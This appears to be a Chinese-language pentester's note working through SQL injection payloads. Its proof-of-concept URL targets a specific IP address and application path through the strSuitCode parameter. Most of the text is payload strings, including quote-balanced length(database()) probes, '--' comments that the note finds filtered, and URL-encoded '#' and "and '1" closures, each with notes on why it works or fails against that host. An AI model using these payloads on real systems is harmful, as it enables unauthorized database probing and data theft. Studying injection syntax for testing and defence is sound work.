SQL注入payload解析

POC:

http:/15.8.17.20:8080/jgbs/getPlInstSetOptions.do?_=1755586812374&change=instsetchange%28%29&strSuitCode=14'and+length(database())='4&strTaskID=null&time=1755586812590

其中strSuitCode参数存在注入,输入14’时,页面回显异常;输入14’’时,页面回显正常;输入14’’’时,页面回显异常,疑似注入

分析:

猜测查询语句为

select ... from ... where ...'strSuitCode' ...

strSuitCode为我们传入的参数

传入正常14	'14'	正常查询
传入14' '14'' 单引号未闭合,异常
...

14’and+length(database())=’4

传入	14'and+length(database())='4
'14'and+length(database())='4'
子查询length(database())='4'判断数据库名长度,可以正常注入

14’and+length(database())=4’

传入	1'and+length(database())=4'
'14'and+length(database())=4''
由于最后的单引号未闭合,造成sql语句错误,因此无法正常注入

14’and+length(database())=4–+

14’and+length(database())=4–%20

传入	1'and+length(database())=4--+
'1'and+length(database())=4-- '
传入1'and+length(database())=4--%20
'1'and+length(database())=4-- '
两种方式都不行,应该是-- 这种注释方式被ban了

可能为limit子句,导致无法正常注入

image-20250819165823354

14’and+length(database())=4#(需要进行url编码)

传入	1'and+length(database())=4%23
'1'and+length(database())=4#'
子查询length(database())=4,后面的单引号被注释,可以正常注入

14’and+length(database())=4 and ‘1

传入1'and+length(database())=4 and '1
'1'and+length(database())=4 and '1'
子查询正常查询,可以正常注入